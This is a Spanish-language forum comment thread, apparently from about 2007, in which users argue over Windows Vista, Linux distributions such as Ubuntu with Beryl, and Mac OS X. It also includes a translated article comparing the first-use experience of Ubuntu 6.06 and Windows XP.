soy esclavo de windows desde hace 8 años, y he escapado lo suficiente como para provar linux, linux es muy bonito y lo que quieran pero nadie da soporte para el, me diran que existen gurus de linux en internet pero si nisiquiera puedes meterte a internet por que no sabes configurarlo.... ok para eso hay manuales... el de linux viene en blanco por que no hay quien lo halla escrito, bien, arreglo el asunto de internet, y puedo descargar todo un mundo de programas gratuitos similares a los originales de windows y mac, ok... creo que se me hace mas facil descargar el original de windows y ponerle un crack y ya, lo unico en lo que concuerdo con linux es que ha hecho revivir mi viejisima computadora y no he hallado ni un virus perfecta para un cibercafe pero no para toda la familia y que nadie lo entiende e instalar algo es el diablo.

windows... que puedo decir, he provado todos los windows habidos y por haber y son un asco siempre es lo mismo y como se fabrica el sistema operativo aparte de la pc cuando precuntas por un problema en windows te dicen que es problema de la pc y cuando preguntas por la pc el problema es de windows, y si que hay problemas en windows, es pesado, vagamente grafico y se traba como si no tubiera otra cosa que hacer, el unico windows con el que me he sentido comodo es con el windows 98, muy bueno y hazta aveces me dejaba instalar programas que son para windows xp, el unico problema es que fue descontinuado y no dan mas soporte, hay de todo tipo de programas para windows he de ahi el por que es tan popular, pero hay 10 virus por cada programa, literalmente un asco, sigo esperando el dia de mi liberacion total...

y ese dia empieza con mac...

macintosh... es el que menos defectos tiene, si falla algo tiene soporte en la mismisima compañia y como ellos fabrican el sistema operativo y la computadora, siempre te van a sacar del lio, es un sistema graficamente elegante, 100% funcional en todo lo que intentes en el, simplemente es el futuro, siempre innova, y nunca falla, creanme que confio mas en el primer sistema operativo hecho graficamente hace 30 años(por apple obiamente) que sufrir bajo windows, de hecho hazta amigo os es mejor que windows y por mucho, pero no todo es bonito con mac, no tiene tantos programas como hay para windows o para linux pero eso se arreglo poniendole sistemas operativos alternos en los cuales no es necesario que reinicies la computadora para verlos, pero tambien esta el precio, mac en si es caro por que en mac no compras el sistema operativo si no la computadora, pero te garantizan que no vas a tener ninguna incompatibilidad ni nada...

he aqui las jerarquias de sistema operativo para mi:

mac es el mejor, lo tiene todo y hoy en dia esta mas cerca de terminar con windows de lo que siempre a estado linux

despues viene linux, su variedad de distribuciones y su libertad lo hace perfecto para cualquier computadora que tengas sea mac o pc, entra hazta debajo del colchon, en cualquier computadora perfecta para el que no tiene ni un centavo y quiere disfrutar de los programas de nueva generacion algo asi como para universitarios becados

puntos extra por revivir mi primer compu:

acer power 6100

intel celeron 333mhz

160m de ram

40gig en disco duro

ati rage descontinuada (ni idea de cuanto era)

en ella tengo widnows 98 y linux

y por ultimo viene windows

windows es un adefecio y merece la horca lo unico por lo que se hizo popular fue por que bill gate$ le puso billete para monopolizarla, pero pues que puedo decir su reinado se esta viniendo abajo, cono lo unico que me quedo es con windows 98, y ya se le estan acabando las excusas para seguir copiando a mac

es muy linda la presentacion de linux pero aquel que la hico le falto mostrar mucho, pues soy nuevo en linux y les puedo grantizar que linux es mucho mas que ventanas gelatinosas

les recomiendo instalen ubuntu en sus compus es muy bueno y encoentras solucion a cada problema en internet siempre abra alguienque te de la mano y en cuanto a la parte grafica

aquellla ya esta desactuailizada les a seguro que si buscan pro beryl 0.1.3 encontrara mejores videos

viva Linux

MADRE MIA ME QUEDE SORPRENDIDO CON EL LINUX DE PANA QUE SI YO ESTABA OBSESIONADO POR EL MICROSOFT WINDOWS VISTA PERO AHORA ME ENCANTA EL LINUX ALGUIEN ME PODRIA DAR LA PAGINA WEB PARA DESCARGAR EL LINUX

LOS DATOS DE MI PC SON:

PENTIUM 4 A 3.00 GHZ

MEMORIA RAM 256

TARGETA DE VIDEO A 2 GB

DISCO DURA A 15 GB

Yo tengo beryl 3d osea lo que habeis visto ahi arriba. No consume muchos recursos, Yo tengo un amd 1,8 una discreta tarjeta gráfica nvidia de 128 y 256 de ram y va como la seda. Ah y hace muchas mas cosas.

me lo isntalé en 3 minutos y os aseguro que de experto no tengo nada.

salu2.

juaaaaaaaaa y encima gratis, pasaros a linux noseais panolis

Una plaquita de RAM para mi laptop de 512 MB cuesta poco más de 50 €, mi equipo tiene un procesador xx1.600 MHz Pentium 4 (sí­ ya se que se calienta un huevo), con 512 MB de RAM + 512 que le pondré y una ATI de 128 MB. Y aunque no pienso usar el Vista (ni de coña, ya que todo el soft que uso rula bien en XP , AutoCAD por ejemplo, las funciones básicas no creo que cambien substancialmente con VISTA), lleva a la pregunta...¿Y por qué amplias la RAM?

Obviamente, no para correr Vista, que podrí­a, sino para VIRTUALIZAR XP con AutoCAD en Ubuntu, que es lo unico que no puedo hacer con UBUNTU, WINE o lo que sea (QCad, no es que esté en pañales, es que es un aborto nonato de momento, y no le veo visos de avanzar, y Bricscad es de pago y no le llega a la suela de los zapatos al AutoCAD).

Por cierto, a los que prefieren Windows...¿Por qué creeis que actualizan su producto?... Eso es gracias a Linux, Firefox, OpenOffice, etc, y si no os lo creeis, preguntaros cuanto tiempo llevavan sin actualizar el Explorer hasta que no vieron a Firefox con un 20 % de usuarios. La competencia es lo que evoluciona el mundo del software, y no como he oido en otros foros, que parece que le debemos lo que es hoy dí­a la informática a los productos microsoft (si microsoft no hubiera tenido competencia, seguirí­amos con el DOS a base de XCOPY, RENAME y cosas de esas).

Felices fiestas y Feliz Navidad.

Para los que se matan averiguando si vista correra con 512: segun yo aprecie en un video de youtube alguien tenia corriendo windows vista con una memory de 512 y un procesador de 2.0GHz y no se miraba tan lento como dicen es mas se nota un poco mas rapido, en cuanto si quieren ejecutar aero les recomiendo de minimo una tarjeta grafica de 64MB que es lo que aconsejan en wikipedia.

Si quieren una informacion detallada tanto de linux, vista y mac averiguen en wikipedia en ingles ya que en español digamos que esta incompleto.

aqui dejo los link:

http://en.wikipedia.org/wiki/Windows_vista

Manes Tengo el torrent para iniciar la descarga del Mac OS Leopar 10.5

agreguenme xaer10@hotmail.com

Beta o final?

Hola amigos, no soy conocerdor del nuevo Linux y la MAC OS X Leopard.

Pero si quiero dejar muy en claro, es que nos debemos unir en acabar el monopolio de microsoft, no solo viene con el SO, si no que le agregan porgramas de seguridad y otros. con la intencion de dejar por fuera del mercado a Mcaffe y System Work, Norton.

Por eso me voy a dedicar a criticar a Windows Vista, y a elogiar a Linux. por que es gratuito. el nuevo windows vale US$350 y el linux us$0.

Europa apoya a linux, por que ayuda al crecimiento intelectual, sin ningun monopolio. varias universidades lo utilizan y le dan un pequeño avance, que al fin se unen todos estos pequeños avances dando un buen SO Linux estable.

Hagamos lo mismo que EUROPA, apoyemos Linux. por que bill gates cuando duerme 8 horas recibe us$4 millones. mientras que linux, duerme 8 horas. recibe Us$o. pero ganamos todos los usuarios.

Linux nos pide una maquina con poca memoria, procesador. mientras que windows nos llevas a memorias de 1 GB y procesadores cuadrupedos de 5.0 ghz.

hASTA la windows vista. y Vienvenido LINUX

Le falta demasiado linux en alcanzar el nivel de windows ya que no le gana en la copatibilidad de programas y ejecuciones ya que hoy en dia mas del 80% de usuarios de pc tienen windows, nos preguntaremos porque ya que este es el sistema operativo mas basico que existe y sin mareo de interfaces 3D, en cuanto a los que dicen que pide mucho el tal vista por favor los tiempos cambian si hace apenas 15 años teniamos pc con 133Mhz y 12MB de ram y un disco duro menos de 1GB y con windows 95 o Mac 0S pero ahora tenemos mountros de 1.GHz con 512 y 256MB ram y 40 gB de disco duro. nos podemos inmaginar las capacidades que tendran las pc dentro de otros 15 años y apostamos a que siempre estara microsoft.

Tal ves en un futuro distante ya windows sea gratis debido a lo que el comentario anterior se refiere, el monopolio lo esta matando y cada ves mas linux va ganando el mercado.

Un gran favor camaradas, definitivamente windows no pela, mac es muy caro y linux mucho que hacer para instalar. definitivamente me cambiare a linux (mientras ahorro y me engancho un mac), cual de todas las versiones es la que hace todo lo visto en el video o cual es la mas reciente, ya que existen muchas. estaba buscando esa version de XGL/compiz pero no encontre, solo me aye con suse, y ubuntualgo, y no encontre esa de compiz, alguien podria postear los links para la descarga o para comprar los cds de installacion. muchas gracias.

Mil Votos a Linux. No por el video, si no porque yo lo tengo instaladito en mi pc y es un espectáculo. Windows Vista no creo que le llegue ni a los talones .Prueben Ubuntu dapper o edgy mas beryl. Es de lo mejor!!!

otra vez mi post. yo oigo que todos mencionan o diferentes versiones de linux o actualizaciones o parches o quien sabe. alguien me podria orientar por favor ya que quiero tirar a la basura mi winxp de mi lap, ya que la pobre sufre demasiado y quisiera instalarle linux. AYUDENME PORFAVOR!!!!

necesito un samaritano para guiarme y orientar para instalar linux.

Espero la ayuda de algun mesias salvador. GRACIAS

neurona[punto]d[arroba]hotmail[punto]com

No pongo en duda que Linux o el OS de Mac sean más estables y seguros, estoy seguro de que es así­. La cosa es que Linux no tiene nada que hacer en este momento (no hablo de mac porque no lo conozco), su problemas son muchos: es difí­cil de utilizar, y esto para algunos puede suponer un reto pero para la gran mayorí­a es un gran impedimento y claramente van a preferir lo que conocen que es windows, además hay versiones diferentes y unas más cutres que otras, también hay que tener en cuenta que la mayoria de programas comerciales no tienen versión para Linux y esto es un impedimento aún mayor, ya me explicarán ustedes que vas a hacer hoy en dí­a con un SO en el que no usas word o powerpoint, aunque haya sustitutos la mayorí­a trabaja con office y si tu no lo tienes es un coñazo. Es muy dificil que se cambien esas tendencias y mientras no se cambien Linux no tendrá absolutamente NADA QUE HACER. Así­ que lo primero que se deberí­a intentar es una labor de marketing y de unificación de versiones, y sobretodo de facilitar su uso e instalación. El mundo Linux está lleno de esos frikies que aman que linux sea difí­cil para que solamente ellos lo puedan usar y fardar de sus conocimientos. Hasta entonces, lo siento yo más que nadie pero VIVA WINDOWS!! no hay otra señores...

La verdad es que linux les hecha penka a todos, pero como dice Miguel tienen que mejorar la facilidad para los usuarios y unificarse si quieren que muera la porqueria de windows

Bueno la verdad me dio gusto el linux, ademas de que lo estoy usando ya mismo lo cual me deja sin palabras el entorno y la velocidad con que ejecuta programas que ne windows se demoraban una eternidad y se me colgaban a cada nada, para los que dicen que linux es dificil o no saben como hacer correr programas son unos inutiles totales, disculpen mis palabras pero es cierto, para aquellos que se animan por el linux primero les recomiendo hacer esto instalen el ubuntu y de ahi solo les toma de 5 a 7 dias adaptarse al entorno, de ahi pueden cambiarse al Mandriva 2007, lo de windows lo unico bueno que tiene es ser compatible (fui usuario de windows hasta el XP y de ahi no mas, total salio el Mandriva xD) unos supuestos conocedores de Os me dijeron que el windows es mucho mejor para ejecutar programas de diseño (que tiene en el cerebro O.o), pero segun yo es mejor lo de prgramas de diseño en MAC OS X para tal fin, total lo de compatibilidad con programas como Office en linux tiene su alternativa que es el Open Ofiice, y programas como Adobe en general, Quick Time, Edicion de Video con varios programas que uso frecuentemente no me dio problemas, pero es algo dificil hacerlos funcionar en un principio (ahora no hay muchas quejas), por ultimo todo es cuestion de cada uno, unos prefieren windows y otros preferimos linux cada uno tiene sus pro y contra pero hay quienes se conforman y hay otros que quieren superarse a si mismos ¿cual de ellos eres tu?

Aca les dejos unos videos de linux para los que no saben nada de linux

http://rapidshare.com/files/541000/manuales.linux._fullman_.rar

http://rapidshare.com/files/540999/video-tuto.linux._fullman_.rar

Bueno la verdad me dio gusto el linux, ademas de que lo estoy usando ya mismo lo cual me deja sin palabras el entorno y la velocidad con que ejecuta programas que ne windows se demoraban una eternidad y se me colgaban a cada nada, para los que dicen que linux es dificil o no saben como hacer correr programas son unos inutiles totales, disculpen mis palabras pero es cierto, para aquellos que se animan por el linux primero les recomiendo hacer esto instalen el ubuntu y de ahi solo les toma de 5 a 7 dias adaptarse al entorno, de ahi pueden cambiarse al Mandriva 2007, lo de windows lo unico bueno que tiene es ser compatible (fui usuario de windows hasta el XP y de ahi no mas, total salio el Mandriva xD) unos supuestos conocedores de Os me dijeron que el windows es mucho mejor para ejecutar programas de diseño (que tiene en el cerebro O.o), pero segun yo es mejor lo de prgramas de diseño en MAC OS X para tal fin, total lo de compatibilidad con programas como Office en linux tiene su alternativa que es el Open Ofiice, y programas como Adobe en general, Quick Time, Edicion de Video con varios programas que uso frecuentemente no me dio problemas, pero es algo dificil hacerlos funcionar en un principio (ahora no hay muchas quejas), por ultimo todo es cuestion de cada uno, unos prefieren windows y otros preferimos linux cada uno tiene sus pro y contra pero hay quienes se conforman y hay otros que quieren superarse a si mismos ¿cual de ellos eres tu?

PUEDO TENER LINUX EN UN PROSESADOR AMD SEMPRON CON 512MB

SI SABEN MICORREO ES JBPUNKIDONTCARE@HOTMAIL.COM

Ufff... me quito el sombrero con ese LINUX... la verdad que lo habí­a olvidado debido a los lí­os que me dió en sus inicios y quise migrarme a él... pero con esos problemitas de aquel entonces decidí­ continuar con WINDOWS XP... pensaba migrar a VISTA... pero creo que este LINUX mató a los otros... bueno, eso creo... espero que MAC tenga su carta bajo la manga y nos dislumbre como siempre lo ha hecho!!!

Yo tengo Beryl en una tarjeta madre gygabyte con una tarjeta grafica intel de la serie i810 procesador intel celeron D de 2.6 Ghz 1 GB de RAM la tarjeta grafica es de 90 u 80 mb y corre sin el xgl, corre sobre aixgl en ubuntu edgy y SIN NINGUN PROBLEMA DE LENTITUD, he usado mac y claro es muy buen sistema operativo, Windows, bueno muchos dicen que es el SO para los que no tienen tiempo, yo lo uso por pequeñas cosas, pero ya desde hace un buen que uso linux para todo

Bueno yo ya me he cansado de Windows XP y tengo pensado pasarme a Ubuntu Linux 6.06.1 por que varia gente me lo ha aconsejado ya que dicen que lo de las compatibilidades es bastante relativo y por que en tema de virus, spywares y todo ese rollo, junto a MAC son los mejores. Tengo el siguiente ordenador: Pentium IV a 2.02 Ghz, 512 MB SDRAM, NVIDIA GeForce 4 MX 440 de 64 MB, disco duro de 60 GB y una placa base ATX 850 Pro 5; creo que con todo esto mas o menos me irá Ubuntu.... Se que con el tema de los juegos Linux es bastante malo, pero ¿Para que tener un ordenador con juegos habiendo ahora PS2 por 150€? :D

siempre considere a linux inferior que windows...

pero la verdad esto cambio mi manera de ver las cosas...

ver como "hackers" jeje por decirlo asi superaron a cientificos de microsoft y conservan su identidad en secreto.

Vista is so poor shit and Aero is straightly stolen from Apple. Linux rocks!

Desde que se lanzó Ubuntu Dapper querí­a hacer una entrada explicando qué ventajas tiene sobre Windows, sobre todo para los no expertos, la gente normal. Mientras estaba de exámenes (perdón si escribo poco) me encontré con este artí­culo que explica exactamente eso, así­ que, en vez de reescribir otro artí­culo, aquí­ os dejo una traducción propia, ya que normalmente los poco iniciados en la informática no suelen hablar mucho inglés.

Artí­culo Original | Linux? Windows? Huh?

Esto no es una queja en contra de Windows. Uso Windows en mi trabajo diario y sé cómo aprovecharlo para conseguir una buena experiencia. Con un poco de trabajo, se convierte en un Sistema Operativo altamente fiable y confiable. Pero, para un usuario nuevo e inexperto, no sabemos cuánto ese “poco de trabajo” puede llegar a costarle. Recientemente he instalado la última versión de Ubuntu Linux y he encontrado que su facilidad de uso supera con creces a la de cualquier SO que haya probado hasta ahora. Lo que es esto en realidad es una queja en contra del SO principal y la industria de fabricación de ordenadores.

La mayorí­a de los nuevos usuarios de ordenadores no utilizan Linux porque nunca han oí­do nada de él, y casi ningún ordenador viene con él preinstalado. No serí­a difí­cil convencer a una persona de utilizar Ubuntu Linux si no ha tenido ninguna experiencia con ordenadores. Las palabras “Sistema Operativo gratis y muchos programas gratis instantáneamente” deberí­an bastar para ganarse a cualquiera. Y si eres de los que todaví­a piensan que Linux es difí­cil de usar, sigue leyendo.

“Atrás en el tiempo” la gente se entendí­a con los Commodore 64 y Amiga (así­ como los primeros de IBM y Apple) sin ningún problema, pero hoy si colocas al 99% de la gente enfrente de alguno de éstos, instantáneamente se convertirán en un saco de patatas. Los SO (y los servicios técnicos) de hoy simplemente producen personas que están convencidas de que posiblemente no puedas saber nada sobre ordenadores a menos que tengas un tí­tulo sobre ellos. Simplemente, producen tontos. La idiotez de los vendedores de Hardware amplifica esto diez veces.

Voy a poner una pequeña comparativa para que puedas entender de qué estoy hablando. Vamos a poner cara a cara a Windows XP y a Ubuntu Linux 6.06.

Cuando tú, como usuario primerizo, consigues un nuevo ordenador con Windows, la primera vez que lo enciendes verás lo siguiente:

Tendrás 400 trillones de iconos extendiéndose por todo tu escritorio.

Tu “extremadamente rápida y nueva máquina” tarda 15 minutos para acabar de arrancar gracias a todo los programas empaquetados que empiezan con ella.

Tu bandeja del sistema (los iconos de abajo a la derecha) se extiende hasta la mitad de la pantalla que, por alguna razón, ha sido puesta a la inutilizable resolución de 800x600.

Como resultado de la resolución por defecto, el 75% de los sitios webs que visitas no cabrán en tu pantalla. Estás obligado a desplazarte de lado a lado en tu navegador.

No sabes cómo llegar hasta el panel de control, así­ que no tendrás ni idea de cómo desinstalar programas (puede que ni siquiera te imagines que algo así­ exista). Como resultado, todas las veces que enciendes el ordenador, norton, mcafee y pc-cillin te avisarán constantemente de que deberí­as registrarte para conseguir su servicio de actualizaciones y comprar las versiones completas de sus productos. También harán escaneos aleatorios en tus 120 dí­as de prueba (después de esto, todaví­a te molestarán) y esto retardará tu ordenador hasta que parezca que se arrastra por los suelos. También tienes mensajes de AOL, Netscape, Netzero y otros ISP apareciendo cada vez que lo enciendes y no dudes que otros 17 programas te preguntarán si quieres empezar o acabar cierto proceso que no dudará en pedirte por el número de tu tarjeta de crédito.

N del T: Los ISP a los que se refiere el autor son americanos. Serí­an similares a Telefónica, Wanadoo, Jazztel y similares en España.

¿He mencionado que no consigues una suite de oficina funcional? Sí­, te dan MS Office... pero en 30 dí­as se desactivará y te pedirá alrededor de 329 euros para continuar usándola. Sí­, hay opciones gratuitas, ¿pero cuántos usuarios normales de Windows/Office han oí­do algo de OpenOffice.org? Quizás le faltan el 15% de las funcionalidades del programa de Microsoft... pero gratis VS más 300 euros suena demasiado apetitoso para mí­. De todas formas, gobiernos enteros (desde locales hasta nacionales) lo han usado como reemplazo a la suite de Microsoft y no has oí­do que se quejaran...

¿Necesito mencionar lo absolutamente inútil que puede ser la ayuda de Windows? Necesitas muy buena suerte si vas a buscar cómo hacer algo que necesitas hacer... Puedes comprar un libro explicando cómo usar Windows, pero espero que no te importe gastar otros 30 euros encima de los 100 que pagaste por usar Windows en tu PC en vez de Linux.

Cuando tú, como usuario primerizo, recibes un nuevo PC con Ubuntu Linux instalado, la primera vez que lo enciendes tienes lo siguiente:

Bien, lo primero... te habrán dicho que el SO que viene con tu PC es totalmente gratis. Solo eso ya te ha ahorrado 100 euros del precio por tu nuevo PC. No es una funcionalidad, pero merece la pena mencionarlo.

Quizás haya uno o dos iconos en tu escritorio. Serán enlaces a otros discos duros que tienes en tu sistema. Dicho de otra forma, el escritorio es todo tuyo, para que hagas lo que quieras con él.

En la esquina superior-izquierda, hay un menú que dice “Aplicaciones”. ¡¡¡Cualquier idiota puede imaginarse que esto significa “Programas que puedo usar”!!! En ese menú, los programas que instalas automáticamente se colocan en las categorí­as que mejor encajan. Tienes las carpetas Accesorios, Gráficos, Internet, Juegos, Oficina, y Sonido y Video. Hay una opción muy oportuna para añadir o quitar opciones de este menú que quizás quieras o no quieras.

No sabes mucho, solo quieres hacer un escrito para clase. Em... la carpeta oficina. Dentro de esa carpeta encontrarás los productos de OpenOffice.org. Un procesador de textos, un gestor de hoja de cálculo y otro de presentaciones. Junto a que todo esto es gratis... has encontrado lo que quieres instantáneamente... justamente aquí­ es dónde uno espera estar.

Quizás quieras navegar por internet o chatear. En la carpeta Internet se encuentran el cliente de correo Evolution, el navegador web Firefox y el programa de mensajerí­a instantánea de Gaim. Con Gaim puedes usar sus cuentas de AIM, MSN, Yahoo y Gtalk en un solo programa. Tu navegador de repente está fascinándote con caracterí­sticas, automáticamente se actualiza él solo e incluso te permite abrir pestañas, lo que significa que navegar por 5 sitios no requiere 5 ventanas acaparando toda la barra de tareas (que está abajo en tu pantalla).

En la parte superior de tu pantalla también ves un menú “Sistema”. En este menú, las dos primeras opciones son “Preferencias” y “Administración”.

En Preferencias ves opciones obvias como “Fondo de escritorio”, “Sonido”, “Salvapantallas” y un montón de cosas más.

En Administración encuentras opciones más avanzadas y una opción muy especial llamada Gestor de paquetes Synaptic. Esta es tu puerta a miles de programas gratuitos que puedes casi instantáneamente instalar con solo un click. Puedes buscar lo que quieras, seleccionar y marcar el resultado apropiado y hacer click en “Aplicar”. Este programa será descargado, instalado y configurado para ti. Ahora lo verás en el menú aplicaciones en la categorí­a correcta y puedes usarlo al instante. Mientras algunas personas dirí­an “¿Qué pasa si no sabes que estaba ahí­?” yo les contesto que cualquier persona que te diera o vendiera un ordenador con Ubuntu Linux sin duda te contarí­a esta funcionalidad. (mi única queja con el sistema es la falta de este icono en el escritorio. Pequeña queja, pero una queja al fin y al cabo).

N del T: No sé si el autor lo probó antes de la versión final o es que no se dio cuenta, pero Ubuntu tiene una opción en el menú aplicaciones, que se llama “Añadir y quitar...”. Desde esta interfaz mucho más intuitiva y clara (para los noveles) que Synaptic, puedes instalar casi todos los programas “normales”. También soporta búsquedas, y trabaja en la misma base que Synaptic (apt-get y apt-cache, para los que le interesen).

También en Administración se encuentra el Gestor de actualizaciones. Abres este programa y te actualiza TODOS los programas que tengas instalado (sí­, leiste bien). No solo actualiza tu SO, sino que tarda una fracción de tiempo que Windows Update y no necesita reiniciar.

N del T: En algunos caso sí­ que se necesita reiniciar, pero sí­ es cierto que solo pasa muy pocas veces, y cuando se necesita, es opcional, puedes reiniciar cuando quieras.

Entre Aplicaciones y Sistema se encuentra el menú Lugares. Ahí­ encontrarás “Carpeta Personal”, “Equipo”, “Escritorio”, y algunas cosas más. Tu “Carpeta personal” es similar al “Mis Documentos” de Windows. Aquí­ es donde tus archivos personales se guardan. Lo que pongas aquí­ es tuyo, y no puede ser visto por otros usuarios en este PC. “Sistema” te muestra los discos y unidades externas conectadas a tu PC, para que puedas acceder a todas ellas (pudiera ser la versión en linux de “Mi PC”).

Aquellos para los que os sea familiar Windows estaréis sin ninguna duda impresionados con todo lo que puedes hacer con el mí­nimo esfuerzo. Ubuntu Linux se instala en solo 10 minutos, y requiere solo arrancar una vez. Actualizar todo a su última versión solo requiere menos de un minuto. El proceso de instalación es completamente gráfico desde un principio, y cuando insertas el CD de instalación tu ordenador inicia el SO para darte una vista previa de lo que tendrás cuando lo hayas hecho. (Hay un icono de instalación en el que puedes hacer click para instalar el SO). Esto te llevará a través de un particionado manual o automático y te creará una cuenta de usuario, y entonces comenzará la instalación. Desde este punto hasta que todo esté hecho pasan menos de seis minutos en un ordenador medio. Una vez instalado, quitas el CD y reinicias para encontrarte en tu nuevo SO.

Windows se instala en 30-45 minutos. Comienza con un proceso semi-gráfico/dirigido con el teclado donde te saldrá el acuerdo de usuario (que, indecentemente te dirá que de hecho no te PERTENECE el SO, sino que solo te lo está prestando Microsoft), y cuando lo aceptes te permitirá preparar el disco duro para la instalación. Entonces copiará varios archivos y reiniciará. Entra en una situación de “fuera de control” donde se instalará y se preparará todo. Te pedirá reiniciar 2 ó 3 veces durante este proceso. Después del último reinicio podrás crear tu cuenta de usuario, conexiones de internet y te solicitará que registres tu copia de XP. (No tienes que registrarte, pero prepáralo si quieres llamar a Microsoft pidiendo soporte técnico). Si cambias cualquier Hardware esencial en tu PC, deberás reactivarlo llamando a Microsoft y ellos te darán un “código especial”. He hecho esto antes y es un proceso de alrededor de 15 minutos.

Ahora necesitas actualizar el SO yendo a Windows Update. Esto tomará un tiempo bastante largo. La primera vez tienes que bajarte e instalarte el Service Pack 2. Éste es un archivo muy grande y puede tomarte en cualquier caso de 10 a 30 minutos (o más) instalarlo después de que se descargue, claro. Entonces tendrás que conseguir todas las actualizaciones que no están incluidas en SP2. Después de descargarte estas actualizaciones e instalarlas obligatoriamente tendrás que reiniciar. Vuelves a abrir Windows Update y encontrarás más actualizaciones que eran dependientes de las que has instalado antes. Repite este paso hasta que no te encuentres más actualizaciones. En mi última reinstalación tuve que hacer esto 4 veces para conseguir todas las actualizaciones. Cada vez necesitó un reinicio. Ahora Microsoft tiene lo que ellos llaman la “ventaja del Windows original”, que dobla las comprobaciones para estar seguro de que no eres un “diablo robador de SOs” antes de que te permitan abrir Windows Update. De hecho tienes que descargarte un programa, ejecutarlo y pegar el “código especial” que genera en Windows Update, lo que te permitirá seguir adelante.

Deberí­a menciona que una instalación base de Windows incluye solamente los accesorios y programas “básicos”. No incluye ni una versión de prueba de una suite de Office o algo así­. Esto comparado con Ubuntu, que instala programas para casi todo, es un gran elogio, ya que la instalación de todos esos programas no penaliza el tiempo de instalación de Ubuntu.

Ahora, ¿en qué lado de la industria de los SO piensas que estás? No creo que Microsoft sea el Diablo, no me entiendas mal. De hecho me gusta un poco esta compañí­a. Su competición nos aprovisionó de un montón de innovación por parte de terceras empresas. No creo que Microsoft realmente haga mucha innovación excepto en reescribirse a sí­ mismos, pero ofrecen bonitas alternativas a productos y algunos de ellos seguramente hagan mejor su trabajo. De hecho creo que comenzaron con el pié derecho, pero ellos y los vendedores de Hardware caminaron hacia la piedra incorrecta, y en algún punto resbalaron y se cayeron al rí­o. Ahora piensan que si echan suficiente lodo al rí­o, podrán nadar hacia afuera. Siento que para el gran negocio de los PC es hora de ir atrás hasta la orilla e intentar de construir un puente.

De Genbeta.com

No me considero un experto en ninguno de los tres sistemas mencionados, pero me dedico a la venta de computadoras de segunda mano, puedo decir que el 80 % de la gente que utiliza una computadora lo hace por necesidad, cuestiones de trabajo etc. el restante que es un dedicado a la informatica puedo decir que el sitema windows, es el mas utilizado por

cuestiones de mayor numero de programas, y mucha de esa gente que los utiliza no esta pensando en vista si no simplemente sus sistemas contable corren vien en windows me o 98se, pero personalmente los sistemas apple en cuestion de harware, son de mucha mas calidad que cualquier maquina pc sea dell, compaq o h.p., e tenido imacs de 1999, y equipos dell hechos el mismo año y los equipos pc degan mucho que desear, bueno no estoy contra ningun sistema operativo, pero les mando este mensaje desde un windows vista personalmente no es la gran cosa, no pagaria los 399 dlls , que piden y si los tubiera que pagara prefiero irme a tiger y si no tubiera dinero a linux. gracias por la atencion.

mi Rating xD

1.- Mac OS X Tiger :

Ventajas: Bonito, Potente, Estable, Potentes aplicaciones

Desventajas: Precio, Si se pudiera instalar en cualquier PC seria el REY (Pero no es asi xD Wow que novedad vdd).

2.-Linux

Ventajas: Lógico!! GRATUITO, Potente, Estable, Casi igual de bonito que MAC.

Desventajas: Debes tener gusto y paciencia por los sistemas (Y TIEMPO) para aprender a manejarlo. La mayoria de los usuarios de PC's no lo conoce (o ha escuchado hablar de el pero

3.-Windows

Ventajas: EL MAS CONOCIDO, El MSN Live (bah, seee para los usuarios de Windows esa es su mayor ventaja xD aunque en las otras plataformas hay muy buenos mensajeros tambien, nadamas que TAMPOCO se conocen). Muy fácil de utilizar, miles de aplicaciones de todos tipos, "JUEGOS".

Desventajas: PRECIO (INCLUYENDO ANTIVIRUS Y TODO LO QUE TENGA QUE VER CON MANTENIMIENTO DEL SISTEMA, POR ESAS COSAS LLAMADAS "VIRUS" QUE SE ME OLVIDARON PK ANDO EN MAC Y LINUX JEJE), RENDIMIENTO (PERSONALMENTE SU PEOR DEFECTO PARA MI ES QUE AL IR INSTALANDO MAS APLICACIONES VAYA SIENDO MÁS LENTO, COSA QUE NO SUCEDE CON LINUX, BUENO AL MENOS A MI), NECESITAS TENER UNA PC POTENTE PARA QUE JALE ADECUADAMENTE.

(SI ALGUIEN VA A CRITICARME SEA DE LOS FANS DE MAC, LINUX O WINDOWS, HAGALO CON RESPETO, SIMPLEMENTE DI MI PUNTO DE VISTA COMO USUARIO DE LOS TRES SISTEMAS...ASI QUE ANTES DE OFENDER...PIENSELO JEJEJE (Y NO ES AMENAZA) )

ACLARO AL PODERSE INSTALAR MAC EN CUALQUIER PC ME REFIERO A "LEGALMENTE" Y "NATIVAMENTE" no al "HACKINTOSH" que nada tiene que ver con el rendimiento del verdadero MAC OS X.... =)

Si tan solo crearan un instalador universal para todos los linux, LINUX NO TENDRÍA NINGUN PROBLEMA PARA QUE LO USARA CUALQUIER PERSONA, personalmente esa es su unica desventaja (ya está autopackage pero hasta ahorita aMSN es el unico que he visto que lo utiliza), beryl es muy bonito y todo pero creo que hubiera preferido un STANDARD para instalar programas en Linux...eso de que haya varias distribuciones nadamas confunde a la gente (a mi me paso al inicio, no sabia ni que era Fedora Core, suse, debian etc..) actualmente utiliza opensuse 10.2 pero ahi tengo Windows..no estoy en contra de Linux, me encanta precisamente escribo esto desde linux..pero creo que es su peor desventaja...LOS RPM'S, DEB, etc.. (por que No un standard caray...)

osea para que nos vamos a engañar todos sabemos y estoy de acuerdo que el linux xgl

es 10000000000 etc ... mejor que windows vista pero seamos realistas todos los contructores de software apoyan a microsoft y actualisaran su codigo de software para que corra con windows vista. Microsoft lidera todo el mercado de sistemas operativos en

mas del 70% no nos engañemos todos los que tienen plataformas distintas a la de windows tendran que cambiarse al mismo microsoft lidera con mano dura a mas del 65%

de las computadoras del mundo y todos los contructores de software ya se han actualisado para que sus creaciones corran con el win-vista haci que en unos dos años ya ningun software sera con windows xp y nos vamos a ver en la obligacion de cambiar a windows vista a si que mejor que linux, Mac OS acepten la derrota par que por muy sofisticado que sea microsoft tiene una dura dictadura en el mercado de sistemas operativos y windows vista va manteer el liderato de la compañia

Me importa poco si Microsoft y Windows son los "populares" del mercado de computadoras, toda mi vida he usado Macintosh y nunca he tenido la necesidad de usar un PC con Windows, por nada del mundo cambiaria a un Mac por un PC, ya que Windows fue, es y sera siempre un sistema operativo mediocre, "pirata" y aburrido. Windows podra ser el mas popular, pero es un sistema operativo sin "identidad propia" ya que todo lo que es Windows es un robo de ideas de los que realmente trabajan por la innovacion como lo hace Apple. En pocas palabras : "Apple y su sistema operativo Macintosh son los verdaderos lideres del mercado de computadoras" ya que un lider es alguien que los demas imitan y quieren llegar a ser como el, entonces Apple es un lider para Microsoft.

